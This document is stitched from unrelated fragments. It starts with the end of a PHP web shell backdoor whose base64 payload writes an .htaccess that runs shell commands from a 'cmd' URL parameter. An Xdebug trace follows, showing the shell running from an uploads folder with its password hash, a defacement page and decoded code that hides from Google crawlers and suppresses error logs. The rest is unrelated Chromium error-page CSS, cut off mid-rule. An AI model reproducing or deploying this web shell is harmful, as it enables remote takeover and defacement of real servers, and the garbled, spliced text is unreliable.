'PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L2ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTs/Pg0K';\n file_put_contents(\".htaccess\",base64_decode(\$ht));\n echo \"<script>alert('htaccess Shell [ .htaccess ] Created : open in site/.htaccess?cmd= '); hideAll();</script>\";\n die();\n }\n \n }\n ");
?><br><br> <div class="footer"><b style="color:$color;font-family:monotype corsiva;font-size:22;"><?php
echo $title;
?> <?php
echo $versi;
?> Shell Backdoor</b></div>
<div class="jaya"> © <?php
echo date('Y', time());
?> <a href=""><?php
echo $xName;
?></a></div></div>
</body>
</html>
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:11:36.199694]
1 0 1 0.000191 393576
1 3 0 0.001138 565040 {main} 1 /var/www/html/uploads/faizalfakee.php 0 0
2 4 0 0.001163 565040 ini_set 0 /var/www/html/uploads/faizalfakee.php 2 2 'output_buffering' 0
2 4 1 0.001181 565112
2 4 R FALSE
1 A /var/www/html/uploads/faizalfakee.php 13 $pass = '3776ae7a24f461c33aa4e60a8e43eda9'
1 A /var/www/html/uploads/faizalfakee.php 14 $title = 'Faizalfakee.php'
1 A /var/www/html/uploads/faizalfakee.php 15 $color = 'white'
1 A /var/www/html/uploads/faizalfakee.php 16 $background = 'http://oi58.tinypic.com/2u8fmnn.jpg'
1 A /var/www/html/uploads/faizalfakee.php 17 $logo = 'http://oi58.tinypic.com/10r33mq.jpg'
1 A /var/www/html/uploads/faizalfakee.php 18 $music = 'https://e.top4top.io/m_19768wlyd0.mp3'
1 A /var/www/html/uploads/faizalfakee.php 19 $script_deface = '<html><head><title>Touched By Faizalfakee</title></head><body>Touched By Faizalfakee <br> My Friends : LEXUSFAKEE - MR.R07 - BABI NGEPET - UNKNOWNEXPLOIT - KENZO X DEMONS - SADBOY REMBTUK343 |<embed src=\'http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1\' type=\'application/x-shockwave-flash\' wmode=\'transparent\' width=\'0\' height=\'0\'></embed>'
2 5 0 0.001302 565040 base64_decode 0 /var/www/html/uploads/faizalfakee.php 24 1 'CiR4TmFtZSA9ICJTZWN1cml0eSBFeHBsb2RlZCI7CiR2ZXJzaSA9ICJ2MS41IE1pbmkiOyAvLyBTaGVsbCBWZXJzaW9uCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IApAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IAppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyAKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgIGV4aXQ7IH0KJGluZG89ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vaW1hZ2UuaWJiLmNvL2N0M1pybi9pbmRvbmVzaWFfaWNvbi5wbmciKTsgIApAc2Vzc2lvbl9zdGFydCgpOyAKQGVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdlcnJvcl9s'
2 5 1 0.001816 733008
2 5 R '\n$xName = "Security Exploded";\n$versi = "v1.5 Mini"; // Shell Version\n$default_action = \'FilesMan\'; \n@define(\'SELF_PATH\', __FILE__); \nif( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { \n header(\'HTTP/1.0 404 Not Found\'); \n exit; }\n$indo=file_get_contents("https://image.ibb.co/ct3Zrn/indonesia_icon.png"); \n@session_start(); \n@error_reporting(0); \n@ini_set(\'error_log\',NULL); \n@ini_set(\'log_errors\',0); \n@ini_set(\'max_execution_time\',0);\n@ini_set(\'output_bufferi'
0.003826 1600624
TRACE END [2023-02-13 01:11:36.203360]
<html dir="ltr" lang="en"><head>
<meta charset="utf-8">
<meta name="color-scheme" content="light dark">
<meta name="theme-color" content="#fff">
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=no">
<title>localhost</title>
<style>/* Copyright 2017 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
a {
color: var(--link-color);
}
body {
--background-color: #fff;
--error-code-color: var(--google-gray-700);
--google-blue-100: rgb(210, 227, 252);
--google-blue-300: rgb(138, 180, 248);
--google-blue-600: rgb(26, 115, 232);
--google-blue-700: rgb(25, 103, 210);
--google-gray-100: rgb(241, 243, 244);
--google-gray-300: rgb(218, 220, 224);
--google-gray-500: rgb(154, 160, 166);
--google-gray-50: rgb(248, 249, 250);
--google-gray-600: rgb(128, 134, 139);
--google-gray-700: rgb(95, 99, 104);
--google-gray-800: rgb(60, 64, 67);
--google-gray-900: rgb(32, 33, 36);
--heading-color: var(--google-gray-900);
--link-color: rgb(88, 88, 88);
--popup-container-background-color: rgba(0,0,0,.65);
--primary-button-fill-color-active: var(--google-blue-700);
--primary-button-fill-color: var(--google-blue-600);
--primary-button-text-color: #fff;
--quiet-background-color: rgb(247, 247, 247);
--secondary-button-border-color: var(--google-gray-500);
--secondary-button-fill-color: #fff;
--secondary-button-hover-border-color: var(--google-gray-600);
--secondary-button-hover-fill-color: var(--google-gray-50);
--secondary-button-text-color: var(--google-gray-700);
--small-link-color: var(--google-gray-700);
--text-color: var(--google-gray-700);
background: var(--background-color);
color: var(--text-color);
word-wrap: break-word;
}
.nav-wrapper .secondary-button {
background: var(--secondary-button-fill-color);
border: 1px solid var(--secondary-button-border-color);
color: var(--secondary-button-text-color);
float: none;
margin: 0;
padding: 8px 16px;
}
.hidden {
display: none;
}
html {
-webkit-text-size-adjust: 100%;
font-size: 125%;
}
.icon {
background-repeat: no-repeat;
background-size: 100%;
}
@media (prefers-color-scheme: dark) {
body {
--background-color: var(--google-gray-900);
--error-code-color: var(--google-gray-500);
--heading-color: var(--google-gray-500);
--link-color: var(--google-blue-300);
--primary-button-fill-color-active: rgb(129, 162, 208);
--primary-button-fill-color: var(--google-blue-300);
--primary-button-text-color: var(--google-gray-900);
--quiet-background-color: var(--background-color);
--secondary-button-border-color: var(--google-gray-700);
--secondary-button-fill-color: var(--google-gray-900);
--secondary-button-hover-fill-color: rgb(48, 51, 57);
--secondary-button-text-color: var(--google-blue-300);
--small-link-color: var(--google-blue-300);
--text-color: var(--google-gray-500);
}
}
</style>
<style>/* Copyright 2014 The Chromium Authors
Use of this source code is governed by a BSD-style license that can be
found in the LICENSE file. */
button {
border: 0;
border-radius: 4px;
box-sizing: border-box;
color: var(--primary-button-text-color);
cursor: pointer;
float: right;
font-size: .875em;
margin: 0;
padding: 8px 16px;
transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
user-select: none;
}
[dir='rtl'] button {
float: left;
}
.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
background: var(--primary-button-fill-color);
}
button:active {
background: var(--primary-button-fill-color-active);
outline: 0;
}
#debugging {
display: inline;
overflow: auto;
}
.debugging-content {
line-height: 1em;
margin-bottom: 0;
margin-top: 1em;
}
.debugging-content-fixed-width {
display: block;
font-family: monospace;
font-size: 1.2em;
margin-top: 0.5em;
}
.debugging-title {
font-weight: bold;
}
#details {
margin: 0 0 50px;
}
#details p:not(:first-of-type) {
margin-top: 20px;
}
.secondary-button:active {
border-color: white;
box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
0 2px 6px 2px rgba(60, 64, 67, .15);
}
.secondary-button:hover {
background: var(--secondary-button-hover-fill-color);
border-color: var(--secondary-button-hover-border-color);
text-decoration: none;
}
.error-code {
color: var(--error-code-color);
font-size: .8em;
margin-top: 12px;
text-transform: uppercase;
}
#error-debugging-info {
font-size: 0.8em;
}
h1 {
color: var(--heading-color);
font-size: 1.6em;
font-weight: normal;
line-height: 1.25em;
margin-bottom: 16px;
}
h2 {
font-size: 1.2em;
font-weight: normal;
}
.icon {
height: 72px;
margin: 0 0 40px;
width: 72px;
}
input[type=checkbox] {
opacity: 0;
}
input[type=checkbox]:focus ~ .checkbox::after {
outline: -webkit-focus-ring-color auto 5px;
}
.interstitial-wrapper {
box-sizing: border-box;
font-size: 1em;
line-height: 1.6em;
margin: 14vh auto 0;
max-width: 600px;
width: 100%;
}
#main-message > p {
display: inline;
}
#extended-reporting-opt-in {
font-size: .875em;
margin-top: 32px;
}
#extended-reporting-opt-in label {
display: grid;
grid-template-columns: 1.8em 1fr;
position: relative;
}
#enhanced-protection-message {
border-radius: 4px;
font-size: 1em;
margin-top: 32px;
padding: 10px 5px;
}
#enhanced-protection-message label {
display: grid;
grid-template-columns: 2.5em 1fr;
position: relative;
}
#enhanced-protection-message div {
margin: 0.5em;
}
#enhanced-protection-message .icon {
height: 1.5em;
vertical-align: middle;
width: 1.5em;
}
.nav-wrapper {
margin-top: 51px;
}
.nav-wrapper::after {
clear: both;
content: '';
display: table;
width: 100%;
}
.small-link {
color: var(--small-link-color);
font-size: .875em;
}
.checkboxes {
flex: 0 0 24px;
}
.checkbox {
--padding: .9em;
background: transparent;
display: block;
height: 1em;
left: -1em;
padding-inline-start: var(--padding);
position: absolute;
right: 0;
top: -.5em;
width: 1em;
}
.checkbox::after {
border: 1px solid white;
border-radius: 2px;
content: '';
height: 1em;
left: var(--padding);
position: absolute;
top: var(--padding);
width: 1em;
}
.checkbox::before {
background: transparent;
border: 2px solid white;
border-inline-end-width: 0;
border-top-width: 0;
content: '';
height: .2em;
left: calc(.3em + var(--padding));
opacity: 0;
position: absolute;
top: calc(.3em + var(--padding));
transform: rotate(-45deg);
width: .5em;
}
input[type=checkbox]:checked ~ .checkbox::before {
opacity: 1;
}
#recurrent-error-message {
background: #ededed;
border-radius: 4px;
margin-bottom: 16px;
margin-top: 12px;
padding: 12px 16px;
}
.showing-recurrent-error-message #extended-reporting-opt-in {
margin-top: 16px;
}
.showing-recurrent-error-message #enhanced-protection-message {
margin-top: 16px;
}
@media (max-width: 700px) {
.interstitial-wrapper {
padding: 0 10%;
}
#error-debugging-info {
overflow: auto;
}
}
@media (max-width: 420px) {
button,
[dir='rtl'] button,
.small-link {
float: none;
font-size: .825em;
font-weight: 500;
margin: 0;
width: 100%;
}
button {
padding: 16px 24px;
}
#details {
margin: 20px 0 20px 0;
}
#details p:not(:first-of-type) {
margin-top: 10px;
}
.secondary-button:not(.hidden) {
display: block;
margin-top: 20px;
text-align: center;
width: 100%;
}
.interstitial-wrapper {
padding: 0 5%;
}
#extended-reporting-opt-in {
margin-top: 24px;
}
#enhanced-protection-message {
margin-top: 24px;
}
.nav-wrapper {
margin-top: 30px;
}
}
/**
* Mobile specific styling.
* Navigation buttons are anchored to the bottom of the screen.
* Details message replaces the top content in its own scrollable area.
*/
@media (max-width: 420px) {
.nav-wrapper .secondary-button {
border: 0;
margin: 16px 0 0;
margin-inline-end: 0;
padding-bottom: 16px;
padding-top: 16px;
}
}
/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
(min-height: 401px),
(min-width: 421px) and (min-height: 240px) and
(max-height: 560px) {
body .nav-wrapper {
background: var(--background-color);
bottom: 0;
box-shadow: 0 -12px 24px var(--background-color);
left: 0;
margin: 0 auto;
max-width: 736px;
padding-inline-end: 24px;
padding-inline-start: 24px;
position: fixed;
right: 0;
width: 100%;
z-index: 2;
}
.interstitial-wrapper {
max-width: 736px;
}
#details,
#main-content {
padding-bottom: 40px;
}
#details {
padding-top: 5.5vh;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
body {
margin: 0 auto;
}
button,
[dir='rtl'] button,
button.small-link,
.nav-wrapper .secondary-button {
font-family: Roboto-Regular,Helvetica;
font-size: .933em;
margin: 6px 0;
transform: translatez(0);
}
.nav-wrapper {
box-sizing: border-box;
padding-bottom: 8px;
width: 100%;
}
#details {
box-sizing: border-box;
height: auto;
margin: 0;
opacity: 1;
transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
}
#details.hidden,
#main-content.hidden {
height: 0;
opacity: 0;
overflow: hidden;
padding-bottom: 0;
transition: none;
}
h1 {
font-size: 1.5em;
margin-bottom: 8px;
}
.icon {
margin-bottom: 5.69vh;
}
.interstitial-wrapper {
box-sizing: border-box;
margin: 7vh auto 12px;
padding: 0 24px;
position: relative;
}
.interstitial-wrapper p {
font-size: .95em;
line-height: 1.61em;
margin-top: 8px;
}
#main-content {
margin: 0;
transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
}
.small-link {
border: 0;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
margin: 0;
}
}
@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
@media (min-height: 400px) and (orientation:portrait) {
.interstitial-wrapper {
margin-bottom: 145px;
}
}
@media (min-height: 299px) {
.nav-wrapper {
padding-bottom: 16px;
}
}
@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
.extended-reporting-has-checkbox #details {
padding-bottom: 80px;
}
}
@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
(orientation: portrait) {
.interstitial-wrapper {
margin-top: 7vh;
}
}
@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
(max-height: 239px) and (orientation: landscape),
(max-width: 419px) and (max-height: 399px) {
.interstitial-wrapper {
display: flex;
flex-direction: column;
margin-bottom: 0;
}
#details {
flex: 1 1 auto;
order: 0;
}
#main-content {
flex: 1 1 auto;
order: 0;
}
.nav-wrapper {
flex: 0 1 auto;
margin-top: 8px;
order: 1;
padding-inline-end: 0;
padding-inline-start: 0;
position: relative;
width: 100%;
}
button,
.nav-wrapper .secondary-button {
padding: 16px 24px;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 239px) and (orientation: portrait) {
.nav-wrapper {
padding-inline-end: 0;
padding-inline-start: 0;
}
}
</style>
<style>/* Copyright 2013 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
display: none;
}
/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
display: none;
}
h1 {
margin-top: 0;
word-wrap: break-word;
}
h1 span {
font-weight: 500;
}
a {
text-decoration: none;
}
.icon {
-webkit-user-select: none;
display: inline-block;
}
.icon-generic {
/* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
* renderer process, so embed the resource manually. */
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}
.icon-offline {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
position: relative;
}
.icon-disabled {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
width: 112px;
}
.hidden {
display: none;
}
#suggestions-list a {
color: var(--google-blue-600);
}
#suggestions-list p {
margin-block-end: 0;
}
#suggestions-list ul {
margin-top: 0;
}
.single-suggestion {
list-style-type: none;
padding-inline-start: 0;
}
#error-information-button {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
height: 24px;
vertical-align: -.15em;
width: 24px;
}
.use-popup-container#error-information-popup-container
#error-information-popup {
align-items: center;
background-color: var(--popup-container-background-color);
display: flex;
height: 100%;
left: 0;
position: fixed;
top: 0;
width: 100%;
z-index: 100;
}
.use-popup-container#error-information-popup-container
#error-information-popup-content > p {
margin-bottom: 11px;
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list ul {
margin-inline-start: 15px;
}
.use-popup-container#error-information-popup-container
#error-information-popup-box {
background-color: var(--background-color);
left: 5%;
padding-bottom: 15px;
padding-top: 15px;
position: fixed;
width: 90%;
z-index: 101;
}
.use-popup-container#error-information-popup-container div.error-code {
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list p {
margin-inline-start: 20px;
}
:not(.use-popup-container)#error-information-popup-container
#error-information-popup-close {
display: none;
}
#error-information-popup-close {
margin-bottom: 0;
margin-inline-end: 35px;
margin-top: 15px;
text-align: end;
}
.link-button {
color: rgb(66, 133, 244);
display: inline-block;
font-weight: bold;
text-transform: uppercase;
}
#sub-frame-error-details {
color: #8F8F8F;
/* Not done on mobile for performance reasons. */
text-shadow: 0 1px 0 rgba(255,255,255,0.3);
}
[jscontent=hostName],
[jscontent=failedUrl] {
overflow-wrap: break-word;
}
.secondary-button {
background: #d9d9d9;
color: #696969;
margin-inline-end: 16px;
}
.snackbar {
background: #323232;
border-radius: 2px;
bottom: 24px;
box-sizing: border-box;
color: #fff;
font-size: .87em;
left: 24px;
max-width: 568px;
min-width: 288px;
opacity: 0;
padding: 16px 24px 12px;
position: fixed;
transform: translateY(90px);
will-change: opacity, transform;
z-index: 999;
}
.snackbar-show {
-webkit-animation:
show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}
@-webkit-keyframes show-snackbar {
100% {
opacity: 1;
transform: translateY(0);
}
}
@-webkit-keyframes hide-snackbar {
0% {
opacity: 1;
transform: translateY(0);
}
100% {
opacity: 0;
transform: translateY(90px);
}
}
.suggestions {
margin-top: 18px;
}
.suggestion-header {
font-weight: bold;
margin-bottom: 4px;
}
.suggestion-body {
color: #777;
}
/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
h1 {
margin: 0 0 15px;
}
.suggestions {
margin-top: 10px;
}
.suggestion-header {
margin-bottom: 0;
}
}
#download-link,
#download-link-clicked {
margin-bottom: 30px;
margin-top: 30px;
}
#download-link-clicked {
color: #BBB;
}
#download-link::before,
#download-link-clicked::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
#download-link-clicked::before {
opacity: 0;
width: 0;
}
#offline-content-list-visibility-card {
border: 1px solid white;
border-radius: 8px;
display: flex;
font-size: .8em;
justify-content: space-between;
line-height: 1;
}
#offline-content-list.list-hidden #offline-content-list-visibility-card {
border-color: rgb(218, 220, 224);
}
#offline-content-list-visibility-card > div {
padding: 1em;
}
#offline-content-list-title {
color: var(--google-gray-700);
}
#offline-content-list-show-text,
#offline-content-list-hide-text {
color: rgb(66, 133, 244);
}
/* Hides the "hide" text div when the offline content list is collapsed/hidden
* and, alternatively, hides the "show" text div when the offline content list
* is expanded/shown.
*/
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
display: none;
}
/* Controls the animation of the offline content list when it is expanded/shown.
*/
#offline-content-suggestions {
/* Max-height has to be set for the height animation to work. The chosen value
* is a little greater than the maximum height the list will have, when all
* suggestions have images, so that it is never clamped. This makes so that
* when the actual height is smaller then the animation is not as smooth.
*/
max-height: 27em;
transition: max-height 200ms ease-in, visibility 0s 200ms,
opacity 200ms 200ms linear;
}
/* Controls the animation of the offline content list when it is
* collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-suggestions {
max-height: 0;
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms,
max-height 200ms 200ms ease-out;
visibility: hidden;
}
#offline-content-list {
margin-inline-start: -5%;
width: 110%;
}
/* The selectors below adjust the "overflow" of the suggestion cards contents
* based on the same screen size based strategy used for the main frame, which
* is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px) {
#offline-content-list {
margin-inline-start: -2.5%;
width: 105%;
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
#offline-content-list {
margin-inline-start: -12px;
width: calc(100% + 24px);
}
}
.suggestion-with-image .offline-content-suggestion-thumbnail {
flex-basis: 8.2em;
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-thumbnail > img {
height: 100%;
width: 100%;
}
.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
border-bottom-right-radius: 7px;
border-top-right-radius: 7px;
}
.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
border-bottom-left-radius: 7px;
border-top-left-radius: 7px;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail {
align-items: center;
display: flex;
justify-content: center;
min-height: 4.2em;
min-width: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
align-items: center;
background-color: rgb(241, 243, 244);
border-radius: 50%;
display: flex;
height: 2.3em;
justify-content: center;
width: 2.3em;
}
.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
height: 1.45em;
width: 1.45em;
}
.offline-content-suggestion-favicon {
height: 1em;
margin-inline-end: 0.4em;
width: 1.4em;
}
.offline-content-suggestion-favicon > img {
height: 1.4em;
width: 1.4em;
}
.no-favicon .offline-content-suggestion-favicon {
display: none;
}
.image-video {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}
.image-music-note {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-earth {
content: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIgMmM1LjUyIDAgMTAgNC40OCAxMCAxMHMtNC40OCAxMC0xMCAxMFMyIDE3LjUyIDIgMTIgNi40OCAyIDEyIDJ6TTQgMTJoNC40YzMuNDA3LjAyMiA0LjkyMiAxLjczIDQuNTQzIDUuMTI3SDkuNDg4djIuNDdhOC4wMDQgOC4wMDQgMCAwIDAgMTAuNDk4LTguMDgzQzE5LjMyNyAxMi41MDQgMTguMzMyIDEzIDE3IDEzYy0yLjEzNyAwLTMuMjA2LS45MTYtMy4yMDYtMi43NWgtMy43NDhjLS4yNzQtMi43MjguNjgzLTQuMDkyIDIuODctNC4wOTIgMC0uOTc1LjMyNy0xLjU5Ny44MTEtMS45N0E4LjAwNCA4LjAwNCAwIDAgMCA0IDEyeiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}
.image-file {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTMgOVYzLjVMMTguNSA5TTYgMmMtMS4xMSAwLTIgLjg5LTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOGwtNi02SDZ6IiBmaWxsPSIjM0M0MDQzIi8+PC9zdmc+);
}
.offline-content-suggestion-texts {
display: flex;
flex-direction: column;
justify-content: space-between;
line-height: 1.3;
padding: .9em;
width: 100%;
}
.offline-content-suggestion-title {
